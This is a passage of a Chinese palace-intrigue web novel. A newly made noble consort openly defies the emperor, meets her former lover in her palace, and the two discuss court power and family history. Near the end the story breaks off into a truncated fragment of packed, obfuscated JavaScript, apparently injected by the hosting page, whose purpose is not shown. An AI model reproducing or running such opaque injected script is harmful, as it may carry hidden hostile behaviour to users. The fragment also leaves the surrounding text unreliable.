霍灵渠就看他,晏霁之微微笑,她抿抿唇婉拒:“陛下何必如此费心,他可怜什么,您都允诺了,今年冬吏部左侍郎年迈致仕就升任他为吏部左侍郎;他算盘打得多精,舍掉个妾室能换取少拼搏十几二十年,他怎会不情愿,用得着谁心疼他?” 晏霁之旋即在心里骂女人污蔑,我多难受你眼瞎吗?有种你现在就敢跟我走吗? 嬴忱璧没再争取下就同意,清醒得预见他若争取、贵妃会再拒绝,算了吧。 霍漓江和霍擎同时要笑不笑看向这混球,原来混球要到这么大的好处,难怪这么冷静。穆国公霍秦川有点头疼,他想把人调到外州府避到他俩情淡了,合着还调不走了吗? 英王晏墉更想把儿子调到外地,对这份补偿压根儿高兴不起来甚至都想推掉。 郭皇后亦没质疑皇帝给得起,抢臣子的妾室,太上皇能不帮他给补偿吗?而对殿内许多人而言这讯息就像阵暴击,皇帝陛下宽厚大方得真让他们受伤。 英王世子他才27岁啊27岁,英王世子他爹英王51岁任兵部侍郎,显国公47岁任户部侍郎,现任侍郎位置上年纪最大的吏部左侍郎忠毅伯都已经六十四五岁了,突然来个二十七八岁的侍郎大人叫他们情何以堪?何况是吏部,吏部乃是六部之首啊! 现年57岁的吏部薄尚书默默装作淡然样,他真的没有嫌弃自家儿孙。任吏部右侍郎的薛侍郎脑壳隐隐作响,他真的宁愿和忠毅伯老贼天天见也不想换个能做他儿子的年轻人。 显国公再三犹豫是否该和英王谈谈让他替他儿子推掉这份恩典,班丞相脑壳疼,陛下的补偿太出乎意料,他可不怀疑这绝非补偿那么简单。 去年前任吏部右侍郎调任,薛家原本没想法,薛侍郎能上位全靠陛下推动;毕竟显国公自己任户部侍郎,亲弟弟的官权比自己高可不好看啊。 当时他就怀疑,但薛家总归是晋王的岳家,这只能是陛下抬爱。没想才一年又要再换位侍郎还是这样斗志昂扬的年轻人,这简直是火~药~桶。何况薄尚书调进京任吏部尚书都才只有两年,陛下这几年动吏部动得也太频繁了。 班丞相真怕当前的平衡要维系不住了,两个血气方刚的情敌怎么就能愿意联手呢? 最受波动的自然是现任吏部左侍郎忠毅伯,虽然已经六十四五岁但他可从未想过致仕,皇帝是他的亲外孙,他向来就奔着宁死在官位上也绝不奏请致仕。 “贵妃当真没有弄错吗?” 晋王憋得忍无可忍,虽然六品以上官员的任免权握在太上皇手里,但皇帝有提议,太上皇基本不会驳掉,晏霁之的侍郎位算稳了,可凭什么?魏王好歹担着实职,他就只有虚衔,晏霁之凭什么舍掉个女人就能做吏部左侍郎?! “现任吏部左侍郎可是皇兄的亲外祖父,就是八十岁致仕都该;况且忠毅伯精明强干,皇兄又没昏头,怎会只因册封贵妃就许诺晏霁之调任吏部左侍郎逼亲外祖父致仕?” 显国公深呼吸告诫自己忍,晏霁之侧目瞟向晋王的眼神活像看傻瓜,班丞相心中摇头,晋王爷你想拱火好歹有点水平啊,最好祈祷贵妃愿意留点情面,否则今天真难看了。 忠毅伯含怨看向皇帝,还没来得及配合唱戏,霍灵渠的妙语已响起:“王爷,嬴忱璧以嫡子身份承继大统,也是嫡母将他抚养长大,皇帝的外祖家在霍家。 放任朝堂私下恭维忠毅伯乃皇帝外祖父、称忠毅伯府乃皇帝外祖家是霍家宽厚退让;可忠毅伯若真敢拿自己以陛下的外祖父自居可就不是不识好歹而是给脸不要脸了,王爷戳破此事是想骂嬴忱璧数典忘本还是想指责圣人眼瞎挑个忘恩负义的儿子承继大统? 再者朝廷有规范官员几岁致仕吧,是65岁啊;只有皇帝厚爱施恩才能宽限延续仕途,朝堂前任宰执身兼国丈都没贪婪权柄到规定年限就主动致仕了,王爷你用逼字妥当吗?忠毅伯今年将满六十五岁,年迈致仕不是合情合理合乎律法吗?” 晋王真懊恼,忠毅伯又恨又憋屈不甘,太上皇真想骂晋王蠢啊。正徽帝嬴忱璧静默两息时间再从龙椅中站起走前几步,朝双亲附身作揖:“是孩儿错,请父皇母后责罚。” 太上皇脸色体谅而叹息,想表态又犹豫难定最终一语未言看向继妻,霍太后面无表情:“从今早的册封典礼到现在都酉时了,贵妃忙碌整日必定很累就回关雎宫休息吧。 对了,关雎宫乃是温献皇后生前居所,温献皇后最疼爱英王世子、视这侄儿犹如亲儿;今日关雎宫迎新主,晏霁之理应走趟关雎宫缅怀姑母,既顺路就护送贵妃回宫。” “……”太后你故意想挑衅皇帝呢还是想故意给藕断丝连的俩人制造机会? 太上皇真疑惑就这点事能令继妻有这么大的怒火要给皇帝难堪吗?嬴忱璧难以置信的直起腰看向养母兼名义上的母亲,晏霁之也觉得有点不可思议,穆国公霍秦川真想叫妹妹,霍漓江真想骂她,晏霍两家的亲戚们都嫌头疼啊。 “母后?”嬴忱璧怎么都不能忍:“晏卿对贵妃是外男,岂能护送贵妃回关雎宫?” “英王和兴献侯是嫡亲连襟,按贵妃父亲这方算,灵渠该叫晏霁之表哥;贵妃既入皇家,温献皇后当然是她的婆母,按温献皇后这方算,贵妃还是得喊表哥,怎会是外男?”霍太后拂掉皇帝的脸面转而盯住英王世子吩咐:“晏卿即刻护送贵妃回关雎宫吧。” “母后?!”嬴忱璧态度强硬,晏霁之想应承都被挡住了,皇帝目光如炬:“纵然贵妃和晏卿有表兄妹的名份可到底不是血亲表兄妹,必须避嫌,朕不能允,母后见谅。” 穆国公使眼色被妹妹忽略,晋王可乐得把气闷懊恼都押后了,太上皇暂且就作壁上观,霍太后此刻绝对不怵和皇帝硬刚,霍灵渠抢前问:“陛下这是担心臣妾给您戴绿帽?” 贵妃娘娘您如此直白不合适吧?殿内许多人真想隐遁,霍擎老太爷憋笑得也想捂脸了,嬴忱璧被噎下转身赔笑:“朕当然相信贵妃和晏卿,但该避讳的事必须避讳,这是规矩。” “规矩?臣妾记得的规矩是皇后和居一品的贵淑德贤四妃有权召见朝廷命官。”霍灵渠就和皇帝对峙:“妾敢问陛下,我今后能召见晏霁之吗?” “皇后和高位嫔妃倘若事出有因确实可召见前朝大臣,具体事宜召见日期也会记档。”嬴忱璧委婉表明:“贵妃有任何事想做,告诉朕即可。” “陛下的意思是臣妾没有自主的权利,想做任何事都必须经过你的许可吗?”霍灵渠一阵阵反感翻涌:“我的认知是我现在能够带晏霁之去关雎宫,缅怀温献皇后不算事吗?我有偷偷摸摸不准内侍记档吗?我没有逾矩,你在防贼还是拿我当囚犯看?” 霍擎感觉有点替皇帝糟心啊,嬴忱璧头疼哄道:“贵妃你胡想到哪儿去了,朕的意思是贵妃对前朝的事不懂,若有事想召见前朝大臣只需告诉朕即可。” “好,臣妾告诉陛下,晏卿遵太后慈谕将随臣妾前往关雎宫缅怀温献皇后。”霍灵渠说,正徽帝嬴忱璧无奈:“贵妃,朕已明确告示你和晏卿必须避嫌,此事朕不能应允。” “太后的命令有何出格?什么叫避嫌,自我踏进潜邸到现在还没满五个时辰,我做你的贵妃也就三四个时辰,我在这三四个时辰里有做过任何对不住你的事吗?倘若太后的命令是派晏煦之晏朗之他们护送我回关雎宫缅怀温献皇后,你会如此反对吗? 你一再要求避嫌连贵妃权限内的事都不准我做,究竟是防备我给你戴绿帽还是打心底里就认为我已非清白身是侮辱你,可难道是我死乞白赖求你册封贵妃吗?你自愿的,陛下既然愿意册封我做贵妃却还要对我百般防范视作羞耻,又是何必?” 霍灵渠走过两步挽住晏霁之,用最坚硬的态度告诉皇帝:“你可以现在就换位贵妃。” 嬴忱璧瞬间变脸,穆国公真心苦逼,霍太后惊住,看客们看来霍贵妃莫非疯了吗? 晏霁之被挽手臂当然不可能甩掉而是顺势牵手,嬴忱璧冷峻的龙颜难看到极点,锐利的凤眸顷刻间仿如寒冰又似有团烈焰在燃烧,谁看着都不用怀疑皇帝的怒火。 67. 第67章 满殿沉寂,众臣和官眷及宫人们真恨不得能有条地缝钻进去避避,幸灾乐祸都没几位;偷摸窥见贵妃和旧情郎牵手是把柄,大家伙众目睽睽看着得盼不被皇帝迁怒啊。 太上皇尚嫌糟心,佟尚书等亲戚头晕目眩觉得脑袋都快炸了,晏霍两家众当家人要请罪、霍太后想补救通通被皇帝挡住,嬴忱璧点名叫晏霁之质问:“晏卿可还知道自己在做什么吗?你活腻了,还想让你晏家全族给你陪葬吗?” “陛下要册封臣欲扶正为妻的爱妾做贵妃,给臣的话是:想要什么补偿尽管提,只要朕认为合理皆可应允。”晏霁之语调淡淡偏藏机锋:“您是君王,我们只能遵命。 可陛下您高高在上不懂平凡人‘只羡鸳鸯不羡仙’的感情不代表世间没有,贵妃克制,臣必定克制;贵妃不想克制,我喜欢的女人挽着我,我如何能舍掉? 我相信姑父姑母们都希望我们能幸福,忱璧,念在我们童年情谊和父母对你的养育恩情,倘若你册封贵妃只有你做皇帝的考量而没有对灵渠的珍爱,把灵渠还给我吧。” 被代表的太上皇夫妻各自被憋住,嬴忱璧更憋屈得想当场翻脸叫禁军杖刑的心都有。 晏贵妃追尊为温献皇后当然能算皇帝的母后,皇帝和晏霁之就有表兄弟名份,何况人都已经喊皇帝的名字,臣子和贵妃牵手的重罪直接转化成表兄弟争女人,这就成家事了。 此事结果必然是大事化小,被晏霁之掌控主导就只能按他给的台阶走,否则如何收场?嬴忱璧想处置想发泄下都得硬生生忍,不想忍也会被父母压住,滋味是真不好受。 班丞相心里腹诽年轻人可真是斗志昂扬,房副相感慨这招四两拨千斤用得真恰如其分。英王晏墉低低吁气然后怒气腾腾想非得把这混账打个半死,霍雄鹰和他家好多人都那么想,霍漓江拧着眉眼底思绪翻滚,霍擎老太爷琢磨皇帝对他孙女能有几分真心? 太上皇和霍太后都无意在这时出面,齐齐给国丈使眼色,老太爷收到讯号,看皇帝捏紧拳头不愿意轻易就范而场面僵着,他老头就打圆场吧。 “娃啊你这么情深义重的,老头就想问问,你啥时候知道流光就是我家灵渠?” “在买流光前,初见流光莫名眼熟,认出流光就是灵渠才决意买她,不然,套用流光的话就是‘我这么挑剔的人怎么会买花魁?’”晏霁之握紧女人的柔荑打趣,霍擎顿时有意见:“在买流光前?!这么大的事你瞒着我霍家四年多?”混球! “舒窈假冒流光的仰慕者给妹妹送银票补品已近两年,您不如问舒窈为何隐瞒?” 霍擎气闷闷阴森森转向大孙女,霍舒窈灵敏躲避:“祖父,半年前灵渠病重的时候我就找二哥商量过,是二哥做主决定瞒着家里的。” 老太爷心里再闷道,霍巨浪给她记笔账,想认罚时被兄长挡住,霍海啸坦率道:“祖父、二叔,我决定的。二月十七,英王府前闹了点事,流光姨娘现身,我见了,当场认出妹妹。本想当天告诉家里,巨浪劝我三思,我答应考虑故而未及时向你们禀告。” 霍雄鹰一数猛然发现:“你们都知道就瞒着我?” 奈何没人搭理他,霍擎瞪眼长孙再拷问混球:“你童年时候就喜欢我家灵渠?” “几岁孩童能有什么男女情,童年应该是不排斥娶灵渠为妻;买流光时也谈不上喜欢,我不轻易动心动情。”晏霁之视线转向皇帝:“我和灵渠朝夕相伴四年多,日久生情。” “晏卿既对贵妃有情就该清楚忘情才是对贵妃最好。”嬴忱璧闭闭眼缓和下,尽量宽恕:“已经发生的事朕可以念在你一时糊涂既往不咎,还不放手!” 晏霁之没响应只看向被他牵手的贵妃,霍灵渠问:“陛下的答案?” 嬴忱璧瞥过他们牵着的双手真怕控制不住脾气:“贵妃,莫再胡闹了。” “胡闹?”霍灵渠笑:“册封贵妃前你想安排我暂住到城外的皇庄,我不愿意,你问我‘你恨朕?’在皇帝陛下眼中,我是不是该和所有男人哪怕和我亲爹都避嫌,关雎宫里最好连太监都不要用?我是恨,我凭什么不恨?何止三年,我是根本不想侍寝。” 她抽回被牵着的手,冷冷道:“你嬴忱璧若还有良心就别迁怒谁,霍灵渠恭候皇帝的白绫。”语毕她即提起裙摆转身,目不斜视离开,镶金丝边的曳地裙摆划过大理石地砖碰撞出硬朗的曲线波动,昂首向前走将皇帝喊的贵妃两字抛诸脑后。 麟德殿外云蒸霞蔚,晚霞像个顽皮孩童跳跃着将天边踩出火红的绚丽,倾泻满地碎金。 因关雎宫已经空置十多年,小半年前正徽帝传令工部修缮关雎宫,年底前刚完工。新修缮过的宫殿雕梁画栋琼楼玉宇尽善尽美,覆着晚霞的美景,远观像幅极致夺目的画卷。 霍灵渠跨进关雎宫的门槛就直奔寝殿令众宫婢退到寝殿外,她靠在美人榻里疲惫闭眼,明明很累却没法安稳小憩亦难以静心思考,沉重的脑袋混沌的思绪搅得她心烦意乱。 她不知烦躁了多久,殿外传来禀告:“贵妃,英王世子奉太后令,前来缅怀温献皇后。” 霍灵渠深呼吸冷静下端坐起,叫她们进寝殿来吩咐:“给本宫备清水梳洗,英王世子想去哪处阁楼殿室缅怀温献皇后就请世子过去,给世子备茶水瓜果,本宫随后就到。” 宫人们领命暂退出寝殿,她揉揉太阳穴再深呼吸,站起来走到梳妆台前坐,抬眸凝望镜中的美丽容颜,眨眨眼就落下片倦态,如同珍珠蒙尘再美丽的容颜也失去光泽而黯淡了。 她抬手摘除繁重的珠宝首饰,宫娥们端着盆清水送进殿,她洗好脸就打发她们走,自己拿象牙梳重新梳妆,绾个简单的发髻再戴支白玉簪,犹豫下又再换套蜜粉色叠纱宫裙。 茶水仍然是两个时辰前备的茶,霍灵渠没什么在意,连倒三杯凉掉的茶水饮尽,在寝殿里拾掇好自己待清爽舒服些,她再走出寝殿命令宫人们引路带她去见英王世子。 晏霁之在清韵斋,清韵斋清幽雅致,温献皇后生前此殿室做藏书阁兼书房用,而今满室藏书仍在,殿外兰花清香悠远,可惜天边残阳将晚。 霍灵渠走到清韵斋前将宫人们全部留在院门外,她独自走进门槛就看到他站在庭院里。晏霁之看见她独自进院不禁莞尔弯唇,待美人走进前来,彼此没言语只默契进屋关门。 “这群宫人倒是够听话,两个时辰就把宫人们训得这么乖顺,怎么管教的?” 霍灵渠绷紧脸,不语;晏霁之哼笑,突然将女人搂进怀里狠狠亲吻,意外没被推开,他半真半假碰碰她娇嫩的檀口提醒:“你若是不阻拦,可能我真会控制不住自己。” “你都不嫌恶心自己,我怕甚?”霍灵渠憋气,晏霁之挑眉:“宫人给你气受了?” “今早在潜邸,女官们检查我的包裹要没收所有行李,我不肯,她们就说请贵妃自重;让我重新沐浴,我不愿意,她们又对我说请贵妃自重。若非宫里要办贵妃的册封典礼,她们拖不起,还不知道要在潜邸耗到何时。 在英王府四年多我都没那么生气过,册封典礼上我差点想把贵妃的玺授册宝砸了走人。等到贵妃的册封典礼结束,我只是叫他们紧闭关雎宫宫门谢客哪怕太后过来都请走,又有大堆长篇大论等着我,未时出宫前我就和她们撕破脸了,都等着要向皇帝告状呢。” 晏霁之捏捏她清水出芙蓉的脸蛋,失笑道:“你也真是好脾气,受那么大气竟然就自己忍,在宫宴上言语声,哪怕皇帝轻拿轻放,你姑母也能让他们彻底长教训。” “我原本想犯不着大动干戈,把我的匕首要回来就好,现在看来就是上行下效,没有皇帝摆那么明白的要令贵妃避嫌的态度哪儿能有宫人们一声声的自重?”霍灵渠怒意叠加语气也冲:“他嬴忱璧骨子里就认定我做贵妃是他的耻辱,还让你过来作甚?” “耻辱两字还真算你冤枉他了,他就是心里介意得慌以致行事偏颇。”晏霁之牵她手,带美人走到紫檀木罗汉床前抱她落座,客观道:“这座新修缮的关雎宫漂亮吧,工部的报价能抵得上内廷一个半月的花销,这可都是皇帝私库里真金白银撒出来的。” 霍灵渠不领情:“旧宫殿我照样住得好,他自己铺张奢靡还要赖到我头上来吗?” “皇帝登基的第五个月就大肆削减改动宫里的用度,而今内廷每月的花销都只是授康年间的零头;他过得可半点不奢靡,宫里和朝堂谁不知陛下简朴。”晏霁之顺口给她报个八卦:“郭皇后私底下骂皇帝抠门,骂到今年都没断呢。” “嗯?”霍灵渠真有点意外:“他将宫里的用度花销定成什么样了呀?” “还行,就是和改动前没得比。按授康年间的份例,皇后早膳有二十四种膳点、午膳晚膳各三十六道菜肴,每月享二斤燕窝三斤银耳;每月置四十八套宫装、换季多置二十四套;金银珠宝首饰每月添三十六副,换季时多置十六副。 陛下改过后,皇后早膳十五种膳点、午晚膳各十八道菜肴,每月一斤燕窝二斤银耳、置二十四套宫装十八副首饰,换季不添,总体而言就是将原有份例削减五六成。” “改动后仍然富贵体面啊。”霍灵渠怀疑:“皇后私底下能骂陛下抠?” “是啊。”晏霁之哼道:“现如今我在皇宫埋有十名眼线、在太微宫有四名眼线。皇后宫里的暗钉是正徽二年埋进去,一个毫不起眼的侍弄花草的小宫娥;你想想这都能传到我耳中,这话在椒房殿里根本就不是秘密,嬴忱璧心里门儿清。” 霍灵渠蹙眉确认:“你真没查错吗?皇帝削减改动后的份例怎样也不算抠呀。” 摆在紫檀木罗汉床中间的小几上放着套青釉茶具和果盘,是宫人们刚备上的,晏霁之捏串樱桃给她,执起青釉茶壶再倒杯茶喝,淡淡道:“由俭入奢易、由奢入俭难。 皇帝削减份例时唯独没动太后的宫份,应该是霍家劝的,太后主动削减三成。郭皇后荣登凤座过了五个月从未享受过的铺张,念念不忘,她要认定皇帝抠搜,你管她怎样想?” 霍灵渠琢磨下,凑近他悄悄问:“宫宴时就是皇帝同意先由钦天监推算天相那会儿,你有注意过郭皇后的神态吗?不知道是不是我看错了,皇后好像在嫌皇帝没用?” “嗯,真生动。”晏霁之赞同地亲亲她:“自皇帝立威开始,皇后的表情多生动啊。” “皇后真的在嫌皇帝没用,只因一份够富贵体面但不够铺张的份例,她就嫌丈夫抠?”霍灵渠美眸半阖喃喃低语,晏霁之随手捏颗樱桃尝尝,翻只新茶杯来吐樱桃核,微有愠意:“见微知著,这群宫人既没有给果肉剔核又没准备装果核的碗,你是该和皇帝谈谈。” “我想和皇帝谈今夜就离宫,能吗?他何必要妥协呢。”霍灵渠再给他递颗樱桃,自己闷闷吃樱桃把樱桃梗放入装核的杯中,算算:“对啦,修缮关雎宫用掉多少银两呀?” “将近八万两白银。” 晏霁之吐掉樱桃核,再倒杯茶喝,耐心告诉她些基本情况:“内廷现在一个月花销都不到五万两白银,比起授康年间一月动辄二三十万两白银的花销就是个零头;而且皇帝削减宫中份例时还整治过内府的贪墨,为太上皇的脸面才没公开。 授康二十八年时候宫中的采买,一个鸡蛋报价都已经涨到五十文钱。皇帝整顿贪墨自授康十年起清算十八年,竟然追缴回七百万两百白银交给太上皇,相当于圣人做皇帝期间平均每年被内侍们贪墨掉将近四十万两白银。 内府贪腐有多严重可想而知,因此皇帝削减份例时要放八千名宫人出宫,将他猜疑的暗桩尽数拔除,还要把太上皇特意留在宫里的大批眼线全部送走,太上皇都直接同意了。如今皇宫中只有六千多名宫人,算上太微宫的三千名宫人都不足万人。” “放出多少宫人?”霍灵渠讶异:“八千,那么多?” “是啊,”晏霁之笑得散漫:“三千名内监五千名宫娥,就是一次对皇城势力的大清洗,任宫外的势力在皇宫中埋有多少暗钉、太妃们遍布多少眼线也架不住嬴忱璧釜底抽薪。” 霍灵渠翻起只新的青釉茶杯也倒杯茶水喝,一杯饮尽,拿丝帕擦擦唇,琢磨道:“我想若是不能离宫,嫔妃每日清早要给皇后请安,我既不想凑这种热闹还得表现贵妃的跋扈狂妄,我想若是还得留在宫里就不去请安,你觉得怎样?” “行啊,贵妃眼中没有皇后的挑衅事儿,你尽管做。”语毕,晏霁之弯弯唇笑,抱住她吻着美人樱唇再热吻起来,没想到非但没被推开,这女人还热情主动。 俩人很快吻得缠绵,还是晏霁之自己强行克制打住,连连摇头压抑:“不行、真不行,我不能逗留太久,要是动真格了,我们肯定会被捉到,还是别挑战嬴忱璧的底线了。” “你不嫌恶心吗?”霍灵渠眨眨眼,怪道:“我现在顶着贵妃的名份呢。” “我以为你会阻拦我呢。”晏霁之同样有些奇怪:“你应该有这份节操品行啊。” 霍灵渠鼓鼓腮帮愤懑溢出:“对峙的时候我都想对皇帝说别把人想得那么龌龊,可一而再再而三的,我真被气到了,我什么都没做就一个个要我避嫌自重,泥人还有三分气性呢;行啊,我就偷情给他们看!若是皇帝妥协了,你尾随我过来,我就对你用强的!” “对我用强?”晏霁之被她逗乐了,真忍不住再吻她,霍灵渠捧捧他的脸,仍然纠结:“可我觉得你应该介意呀,我还顶着贵妃的名份呢。” “我也曾以为我会介意,我多高雅高尚高情操的男人如何能做偷情的事?再喜欢谁,我想和她亲热的前提必须得是这女人是我的女人,否则偷偷摸摸,我嫌恶心。” 晏霁之吻住她的唇瓣,闭眼埋住心里的苦涩:“可宫宴上相见,我只想亲近你;终于能独处,我根本忍不住不抱你吻你,才一天,昨天这时候你还在我的怀里呢。” 霍灵渠冷不防心头被蜇下,纤手轻抚他的脸颊,辛酸如破茧而出:“皇帝何苦妥协?我料准他不会赐白绫,可我真的盼他能够强硬到底褫夺贵妃封号将我逐出宫门。 我愿意出宫后常伴佛前终此残生,不会辱及他皇帝的颜面,我们真不能再和他谈谈吗?我看他既能给你升官又能减大长公主的食邑,不像被钳制呀还需我给他做棋子吗?” 晏霁之睁眼,撞进瞳孔中的就是幅美人悲苦将泫然欲泣的画面,拥紧女人,他冷静道:“你走出麟德殿后你祖父就带霍家跪下,也是影射皇帝将没有清白的贵妃视作耻辱,求皇帝开恩,若不能对贵妃和其他嫔妃一视同仁就褫夺贵妃尊位让霍家接孙女出宫。” “他就不能强硬到底吗,何必妥协呢?”霍灵渠真要绕不过这两句话了,晏霁之失笑:“皇帝对贵妃至少半腔热情还没死心啊,他能放你离宫的前提是他对霍灵渠死心。” 霍灵渠愤愤从果盘里抄起颗青枣就砸:“我就活该倒霉要被他困在这座四方城里吗?” 晏霁之瞟瞟被扔在地毯上打几个滚后滚到角落里的青枣,心说这女人果然嚣张飙涨啊,收回视线抱她哄:“嬴忱璧也不容易——”话出口,他怎么觉得他更不容易,居然还帮衬硬抢走他女人的男人?皇帝真该谢谢他:“贵妃当众叫皇帝下不来台啊。 你撂下狠话就走的时候,我看嬴忱璧又难以置信又懊恼还觉得受伤,他能主动退让的,可霍家一跪一求在很多人看来就是皇帝被霍家压制着,多没面子,是吧?” “所以他该强硬到底,他发落平原大长公主时多干脆利落,何必对霍家退让?”霍灵渠还觉得自己委屈呢:“我盼着他一声令下褫夺贵妃封号将我逐出宫啊。” “两码事两种性质,平原大长公主在找死,贵妃闹脾气只是女人家使的小性儿,哪怕皇帝对贵妃只是利用,看在霍家和太后的面上都会愿意轻轻揭过。”晏霁之再拿串樱桃给她,凑近美人的红唇暧昧点出:“许多聪明人都等着皇帝掌权后看霍家的死期,急什么。” 霍灵渠心里咯噔声,绝美的眉眼间浮现狐疑:“表哥告诉我,曾经湘王和霍家逼宫失败落得惨烈收场连我姑母都被赐白绫,可却是嬴忱璧灵前继位成为新帝,为何?” “当然是因为嬴忱璧笑到最后嘛。”晏霁之嬉皮笑脸,气得霍灵渠伸手打他:“我和你说正经的,他为何没被殃及?还有曾经霍家逼宫的时候他在哪儿,他是我姑母的养子啊,就算他没有参与逼宫又凭什么能笑到最后,他落井下石吗?” 晏霁之抬眼看室内烛火缈缈而窗外已然黑透,拥紧她感慨:“是霍家的两手准备。” “两手准备?”霍灵渠愣了愣没明白,晏霁之抬手划过她精致的眉眼,低低的语调里酿起看尽世事浮沉的浅笑:“你大伯穆国公把四个嫡出儿女都保住了,这点我是真佩服。当年霍家逼宫是没得选,若不逼宫,整个家族必将很快成为老皇帝的刀下亡魂。 可拿霍氏全族拼若失败则代价太大,所以穆国公做两手准备:他和湘王逼宫,嬴忱璧带萧耿烨和霍骏豪忠君救驾,两批人马胜负输赢各凭本事。而霍家逼宫前,霍海啸兄弟已经带妻儿远遁他乡,穆国公本想把夫人和弟弟都送走,是你爹和你大伯母宁死不愿意离开。 我和海啸见面曾聊起来,嬴忱璧问过穆国公为何要保他?穆国公答:湘王扶不起来,倘若逼宫失败后保下湘王对霍家还是条死路,唯有保越王,霍家才有可能笑到最后。嬴忱璧又问想让他如何酬谢?穆国公答:叫我声舅舅吧,王爷还没有叫过我舅舅呢。” 霍灵渠鼻头酸得厉害,苦涩闭眼倒在他怀里;晏霁之眼含宠溺,指腹拭掉她眼角湿意,放眼向前看,忆往昔真如梦一场,此时看遍浮世繁华恩怨情仇真像过眼烟云。 “前世里,曾经穆国公逼宫时做足准备把晋王也送上路了,防的就是霍家逼宫失败,哪怕嬴忱璧救驾有功,老皇帝都不肯宽恕。但晋王一死,蜀王又不面世,老皇帝就只剩魏王、越王和十一皇子,他若想传位给幼子就没得选必须留着越王制衡魏王。 当时老皇帝的心意已经很明显,朝野多少聪明人都闻风而动,没想到最终是越王手腕过硬逼死魏王踩死十一皇子令他父皇放弃挣扎,定下由越王继位。” 霍灵渠高兴不起来:“他对霍家有多少情义呢,和忠毅伯府比又能比吗?” 能!”平静而毫不犹豫的判词,晏霁之再倒杯茶,茶水饮尽,对上女人微红的眼眸,他肯定落字:“在嬴忱璧心里,霍家比忠毅伯府重要得多。今生,他登基后抬举忠毅伯府只是朝局需要兼做给天下人看看皇帝是重情的,实则他根本不在意忠毅伯府。” “真的?你可别瞎猜骗我。”霍灵渠带着些许鼻音,晏霁之笑得眼底几乎漾出花儿来,抬手捏捏她,安抚道:“傻瓜,嬴忱璧对生母娘家有再多念想在前世里都耗净了,哪怕今生他登基时仍然存着点侥幸,可他抬举忠毅伯府得到的又是什么? 是他登基前两年处处被太上皇压制甚艰难时,这生母的娘家都从未替他考虑过,只想扒着他要好处甚至给他添乱要他来收拾烂摊子,相当于供着群贪得无厌只会吸他血的吸血虫,嬴忱璧若是到现在都没有死心能配他前世里笑到最后吗?” 霍灵渠想想是有道理,可:“你刚刚说很多人在看皇帝掌权后霍家的死期?” “朝野的聪明人想当然的想法,和皇帝能有什么关系?”晏霁之吻吻美人娇嫩的唇瓣,笑意似要浸润她的心肺:“恐怕你祖父都估不出皇帝对霍家的态度,为何? 嬴忱璧或许不会信任霍家,但前世穆国公保他的举动对他该有多震撼,哪怕霍家保他的意图是期盼想要笑到最后可到底保住他了,他也对霍秦川叫过舅舅,还不够吗?” 霍灵渠吸吸鼻,重新靠回男人怀里,疲惫闭眼:“在宫宴上,我瞧着真不觉得皇帝像是被太上皇掣肘的样子,他到底还少什么权利呀?” “老皇帝禅位前答应六品及以下官员的任免权交给新帝、地方各县衙上疏呈报朝廷的事由新帝做主,国库也移交给新帝,等他禅位后这些承诺让出的权利全是忽悠。嬴忱璧登基初想安排个七品官,吏部郎中给话:陛下若不满意吏部的调令就撤掉他们。 可吏部郎中是五品官不在皇帝的管辖中,太上皇摆明想死死卡着皇帝只做个傀儡,所以才会有平原大长公主之流压根儿不把皇帝看在眼里。哪怕现在看,皇帝似乎还很处在弱势,但真实情况是正徽二年年尾,嬴忱璧就把他爹禅位时允诺给他的权利拿到手了。” 晏霁之平淡叙道:“现在的情形,六品以上官员的任免权握在太上皇手里,早朝被降到一个月只举行三次,早朝议事、皇帝平常和重臣议事但凡归属在太上皇划定的范围内,决议必须上禀由他同意后才能奏效;还有赋税多半都流进太上皇的私库,国库年年入不敷出。” 霍灵渠问个困惑:“正徽二年年尾?圣人死死卡着,他怎么把权利抢到的呀?” “给他爹找麻烦啊。”晏霁之微微眯眼注视隐在纱幔里的黑影两息时间,弯弯唇继续道:“正徽二年,整整大半年皇帝就闹得他爹焦头烂额没个安生,只差和他爹明说:你不把禅位时承诺的权利给我,我就折腾你让你天天都没有安宁,看谁能强得过谁。” “还能如此?”霍灵渠惊讶抬头:“他不怕适得其反吗?” “陛下当然做好万全的准备了。”晏霁之倒杯凉掉的茶水饮尽,扬声道:“出来吧。” 霍灵渠惊诧转头,霍海啸阔步从帘幕后走出,她松口气,晏霁之嫌弃:“怎么是你?” “幸亏是我!若是皇帝过来看到你竟然抱着灵儿,你想过后果吗?你就不能避讳些!”他听两耳朵还以为这混球多正经,霍海啸走近坐到罗汉床里,没好气道:“想藕断丝连不如先坦诚你想做到什么程度,你被皇帝捉住时我也能有个心理准备。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏霁之挑挑眉,搂女人哼笑:“皇帝不显山不露水才让那些浮于表面的人误以为他弱势,真论起来恐怕他爹都已经把握不准他现在聚拢多少势力了。” “咳咳!”霍海啸提醒他注意点,霍灵渠不好意思推他,晏霁之抱住女人斥碍眼的那位:“不想看就走,刚刚我以为是嬴忱璧来了我都没收敛,我还没嫌你碍眼呢。” 霍海啸宽宏大量懒得和他计较,给妹妹总结:“陛下手腕超群,圣人压不住这样的皇帝,当前的趋势是必然的,除非圣人当年不禅位或者不禅位给当今。” “圣人若非禅位给当今,恐怕连这四五年的安稳都没有。”故而太上皇预见到当前的趋势也没得选。晏霁之调侃:“你敢说,若非圣人禅位给当今,你霍家能这般安分?” 霍海啸眼神警告:“让我知道你带坏我家灵渠,我要你好看。” 这下换晏霁之懒得理会,霍灵渠发现个大问题:“不对呀,既然皇帝厉害到能威胁他爹,太上皇都要给皇帝安抚,还能有霍家强抢皇后位的事吗?” “可不是嘛,咱家多委屈。”霍海啸赞同,晏霁之就送他两字:“呵呵!”惹得霍海啸严厉警告他眼再给妹妹说内情:“一年前蓁蓁和她娘说服太后强抢后位,太后试皇帝的态度,陛下就召见爹表示愿意配合霍家,故而看起来是霍家硬抢,实则是陛下主动给。” “主动给?”霍灵渠愣下看向晏霁之追问:“强抢凤座不是对皇帝的羞辱吗?你不是说倘若霍蓁蓁登临凤座那么将来皇帝清算,她们母女还有佟家都难逃死路吗?” “注意你大哥的措辞:愿意配合!”晏霁之给她细细抠字眼:“什么叫愿意配合?就是霍家倘若想要后位,我暗中支持你们尽管放手去做,但明面上整件事跟我没关系。 